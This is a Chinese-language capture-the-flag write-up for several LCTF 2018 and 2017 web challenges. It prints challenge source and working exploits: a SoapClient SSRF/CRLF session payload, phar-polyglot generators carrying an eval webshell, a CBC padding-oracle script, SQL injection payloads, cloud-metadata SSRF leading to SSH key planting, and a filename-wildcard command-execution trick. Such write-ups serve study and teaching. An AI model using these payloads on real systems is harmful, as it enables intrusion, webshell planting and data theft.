LCTF wp

2018LCTF

bestphp’s revenge

思路:session反序列化->soap类(ssrf+crlf)->call_user_func激活soap类

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

flag.php

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

访问flag.php会把flag写入session中,但是需要从本地访问,也就是需要触发ssrf,而且需要带着自己的sessionid,才能写到自己的session中

可以利用php的原生类soap进行反序列化触发ssrf,同时触发crlf修改cookie来设置sessionid

PHP session 反序列化漏洞

PHP中的Session的实现是没有的问题,但如果在PHP在反序列化存储的$_SESSION数据时使用的引擎序列化使用的引擎不一样,会导致数据无法正确的反序列化

简单来说就是存session用了php_serialize引擎,存的session就是a:1:{s:4:"name";s:24:"|<serialize data>}

而读取session时用了默认的php引擎,以|为分割,读取为

1
2
3
4
5
6
7
8
9
10
11
12
13
array(1) {
["a:1:{s:4:"name";s:145:""]=>
object(SoapClient)#2 (4) {
["uri"]=>
string(3) "123"
["location"]=>
string(25) "http://127.0.0.1/flag.php"
["_user_agent"]=>
string(3) "abc"
["_soap_version"]=>
int(1)
}
}

于是触发了反序列化

利用session_start()的参数修改反序列化引擎,将序列化数据注入到sessionfile中

1
2
3
http://127.0.0.1/soap.php?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%22abc%0D%0ACookie%3A+PHPSESSID%3D8nsujaq7o5tl0btee8urnlsrb4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

serialize_handler=php_serialize

生成反序列化数据:

1
2
3
4
5
6
7
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "abc\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

利用第二个call_user_func激活soap类

$_SESSION里的数据是soap对象,再经过reset()弹出这个对象成为了$a[0],可以通过变量覆盖$bcall_user_func,调用$a中的这个对象,从而触发soap的网络请求

1
2
3
http://127.0.0.1/soap.php?f=extract

b=call_user_func

soap请求发出后,构造soap序列化的可控phpsessid相应的session里被加入了flag

带着这个phpsessid请求index.php,中间有一行代码var_dump($_SESSION);从而拿到flag

https://xz.aliyun.com/t/3336

https://blog.spoock.com/2016/10/16/php-serialize-problem/

T4lk 1s ch34p,sh0w m3 the sh31l

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<?php 

$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);



if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}


class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}


class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}


function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);

if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}


function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}


function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {

$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}


function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}


function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}




$mode = $_GET["m"];

if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{

highlight_file(__FILE__);
}

include("./comments.html");

phar反序列化

phar文件会以序列化的形式存储用户自定义的meta-data,在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

image

这里触发反序列化是用到了getimagesize($file_path)这个函数

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

compress.zlib://phar//./来绕过^phar的正则检测

  1. 直接在文件头处写一句话getshell
1
2
3
4
5
6
7
8
9
10
<?php
class K0rz3n_secret_flag {
protected $file_path = '/var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif';
}
$a = new K0rz3n_secret_flag();
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php echo 1;eval($_GET["a"]);?'.'><?php __HALT_COMPILER(); ?'.'>');
$phar->setMetadata($a);
$phar->stopBuffering();

upload上传然后check触发phar反序列化

  1. 先上传要被include的webshell为avatar.gif,再上传phar文件包含这个webshell(K0rz3n_secret_flag类中的include_once
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class K0rz3n_secret_flag {
protected $file_path='/var/www/data/67bf5ff3cfa1cdd00f700328698c2adb/avatar.gif';
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);

}
}

$a= new K0rz3n_secret_flag;

$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($a);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', 'avatar.gif');

sh0w m3 the sh31l 4ga1n

比起第一道题的正则多了一个data,所以phar://就不能读取data目录下的内容了

生成SECRET的语句

1
$SECRET=`../read_secret`;

并不是可执行程序或bash文件,只是一堆字符串,那么这个东西返回的永远是null即$SECRET==NULL

于是在check_session中$data可控并且能满足hmac的验证,所以修改session-data的值能修改upload文件的路径

生成session-data

1
2
3
4
5
6
7
8
9
10
class User { 
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

$data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4"));
$hmac = hash_hmac("md5", $data, NULL);
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));

修改session-data后,有多种方法getshell:

1. 直接利用反序列化

check_session()中有$data = unserialize($data);直接利用反序列化

传shell

1
2
3
4
5
6
7
8
9
10
11
GET /LCTF.php?m=upload&url=http://test.tan90.me HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%22%3B%7D-----01d76466746e56bfe3e9558529df2709
Connection: close

执行命令

1
2
3
4
5
6
7
8
9
10
11
GET /LCTF.php?m=upload&url=http://test.tan90.me&cmd=ls%20-al%20/tmp HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A18%3A%22K0rz3n_secret_flag%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00file_path%22%3Bs%3A57%3A%22%2Fvar%2Fwww%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%2Favatar.gif%22%3B%7D-----7b954f00dc02cd915b1c3d4872112634
Connection: close

2. 和上题一样,phar反序列化

3. tmpfile getshell

http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resource=/etc/passwd

解法:
https://www.jianshu.com/p/dfd049924258

预期解:

http://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/

Travel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-

from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid

app = create_app()

@app.route('/upload/<filename>', methods = ['PUT']) # 幂等的请求,会产生覆盖
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' or pwd != str(uuid.getnode()): # 不知道硬件地址则绕不过去
return "0"
filename = urllib.unquote(filename) # 进行 url 解码
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text = True))
return "1"
return "0"

@app.route('/', methods = ['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]: # 必须要 http 请求
return "hacker"
try:
response = requests.get(url, timeout = 10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"

@app.route('/source', methods = ['GET'])
def get_source():
return open(__file__).read()

if __name__ == '__main__':
app.run()

pwd就是网卡的mac地址,获得这个值就能进行任意文件写入,写入ssh key就能ssh登陆拿到shell

查题目的ip发现是腾讯云的服务器,有一个metadata的API,

腾讯云文档 https://cloud.tencent.com/document/product/213/4934

根据文档里的方法,获得mac地址

http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs

52:54:00:48:c8:73(hex)->90520735500403(int)

nginx禁用了PUT方法,用X-HTTP-Method-Override:PUT绕过

然后向/home/lctf/.ssh/authorized_keys 写入自己的公钥,登陆

年久失修的系统

先用select通过id选出该用户检测是否为当前session中的用户,再用update通过id更新用户信息。

payload:?userid=myid-(myid-adminid)*@a:=@a is not null

原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select @a:=@a is not null;
+--------------------+
| @a:=@a is not null |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)

mysql> select @a:=@a is not null;
+--------------------+
| @a:=@a is not null |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)

2017LCTF

Simple blog

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
<div class="login">
<h1>后台登录</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required="required" />
<input type="password" name="password" placeholder="Password" required="required" />
<button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
</div>
</body>
</html>
';
}

function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}

function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}

function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
die('You are not admin');
}

if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>adminpage</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<a class="navbar-brand" href="#">后台</a>
</div>
<div>
<ul class="nav navbar-nav">
<li class="active"><a href="#">编辑文章</a></li>
<li><a href="#">设置</a></li>
</ul>
</div></nav>
<div class="panel panel-success">
<div class="panel-heading">
<h1 class="panel-title">文章列表</h1>
</div>
<div class="panel-body">
<li><a href='?id=1'>Welcome to myblog</a><br></li>
<li><a href='?id=2'>Hello,world!</a><br></li>
<li><a href='?id=3'>This is admin page</a><br></li>
</div>
</div>
</body>
</html>

CBC翻转字节攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import base64
url='http://111.231.111.54/login.php'
N=16

def inject_token(token):
header={"Cookie":"PHPSESSID="+phpsession+";token="+token}
result=requests.post(url,headers=header)
return result

def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)

def padding_oracle(N):
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding
result=inject_token(base64.b64encode(c))
if "Error!" not in result.content:
get=chr(j^i)+get
break
return get

def login(url):
payload = {
"username":"admin",
"password":"admin"
}
coo1 = {
"PHPSESSID":"j297k7o6d8stcbvi2c23naj5j6"
}
r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False)
token = r.headers['Set-Cookie'].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
session = "j297k7o6d8stcbvi2c23naj5j6"
return session, token

while 1:
phpsession,token = login(url)

middle1=padding_oracle(N)
print middle1
print "\n"
if(len(middle1)+1==16):
for i in xrange(0,256):
middle=chr(i)+middle1
print "token:"+token
print "middle:"+middle
plaintext=xor(middle,token);
print "plaintext:"+plaintext
des=pad('admin',N)
tmp=""
print des.encode("base64")
for i in xrange(16):
tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
print tmp.encode('base64')
result=inject_token(base64.b64encode(tmp))
# print result.content
if "Login Form" not in result.content and "Error" not in result.content:
print result.content
print "success"
exit()

格式化字符串sql注入

sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

这里的$title = sprintf("AND title='%s'", $title);

其中$title$id都经过mysql_real_escape_string处理,会使'前加斜杠变为\'

如果传入titleaaa%'or 1=1 #则变为AND title='aaa%\'or 1=1 #'%\会被认为是个格式化字符串,则单引号会逃逸出来

但传入%'的话会使sprintf语句中有两个格式化字符串,但只有一个参数,会报错

PHP的sprintf中,有%1$\这样的语法,百分号%后面的数表示使用第几个参数,$后面的表示类型,常见的类型比如s表示字符串等等。比如 %1$s,表示使用第一个参数,类型为字符串(%s

title传入flag%1$' or 1=1#,变为AND title='flag%1$\' or 1=1#'$\变成类型%\,这个不存在的类型会直接跳过不处理,吸收了\使单引号逃逸

payload

1
?id=1&title=%1$' union select 1,(select f14g from web1.key limit 0,1),3%23

萌萌哒报名系统

提示是IDE开发的系统,发现.idea/workspace.xml,打开后发现发现源码包xdcms2333.zip

regisrer.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}

$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}

$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);

preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}

$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
die('wrong password');
}
$_SESSION['username'] = $username;
unset($_SESSION['is_logined']);
unset($_SESSION['is_guest']);
#echo $username;
header("Location: member.php");
?>

member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
session_start();
include('config.php');
if (isset($_SESSION['username']) === false) {
die('please login first');
}
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
$sth->execute([':username' => $_SESSION['username']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}

$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {

}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
?>

构造

1
2
3
username=hello
password=hello
code="xdsec"+5000*"###A"

传入code为超长的字符串,并且符合preg_match匹配的模式。则执行preg_match时会超时使php脚本停止

1
2
3
4
5
6
7
8
9
10
11
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);

preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}

在代码中,先插入了users表,然后执行preg_match,然后插入的identity表。插入users表的sql语句在preg_match之前已经执行了,所以脚本超时停止也已经执行了之前的sql语句

这样字符串guest没有被插入成功,在member.php

1
2
3
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}

会被跳过,然后进入

1
2
3
4
5
6
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);

is_file()判断是否是文件,如果是一个文件就不让读取,不过readfile()函数支持php伪协议,所以可以用php伪协议绕过

1
?file=php://filter/read=convert.base64-encode/resource=config.php

他们有什么秘密呢

查看源代码后,有提示:
<!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ -->

经过测试,过滤了information等关键字。而union,select等则没有过滤

报错注入获取表名

Mysql中有Polygon()函数,如果传入的值是存在的字段的话,就会爆出已知库、表、列

在这个题目中,Polygon()函数同样也被过滤了,但还有其他同样作用的函数

1
2
3
4
5
linestring()
multiPolygon()
multilinestring()
GeometryCollection()
MultiPoint()

这里利用linestring()函数

1
2
3
http://182.254.246.93/entrance.php

POST: pro_id=1 and linestring(pro_id)

image

得到数据库名:youcanneverfindme17,表名:product_2017ctf,字段名:pro_id

获取字段名

1
2
3
4
5
6
7
8
mysql> select * from (select * from users as a join users) as b;
ERROR 1060 (42S21): Duplicate column name 'id'

利用using爆其他字段
mysql> select * from (select * from users as a join users as b using (id)) as c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from (select * from users as a join users as b using (id,username)) as c;
ERROR 1060 (42S21): Duplicate column name 'password'

在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候查询到重复字段,就成功报错

第一步:

1
2
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id)) as c);
Duplicate column name 'pro_name'

第二步:

1
2
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name)) as c);
Duplicate column name 'owner'

第三步:

1
2
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner)) as c);
Duplicate column name 'd067a0fa9dc61a6e'

得到列名pro_idpro_nameownerd067a0fa9dc61a6e

查询数据

直接查询发现d067a0fa9dc61a6e被ban掉了,利用union搭配别名子查询,在不知道字段名的时候进行注入

1
2
3
POST:pro_id=-2513 UNION ALL SELECT NULL,CONCAT((select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 3 )),NULL,NULL--

product name:7195ca99696b5a896.php

根据提示得到d067a0fa9dc61a6e7195ca99696b5a896.php

执行命令

看到是一个文件上传的页面,但只能上传7字节的内容

上传一个php,名为z.php,内容为<?=`*`;,其中<?=表示<? php echo,而php能执行反引号中的命令,*是shell中的通配符,会将符合模式的文件列出来,也就是当前目录下全部文件

然后上传一个名为bash的文件,再传一个名字的字母序在bash后的文件(bash2或者c),内容为要执行的命令(ls /,cat /flag)

然后访问z.php,相当于执行bash bash2

参考: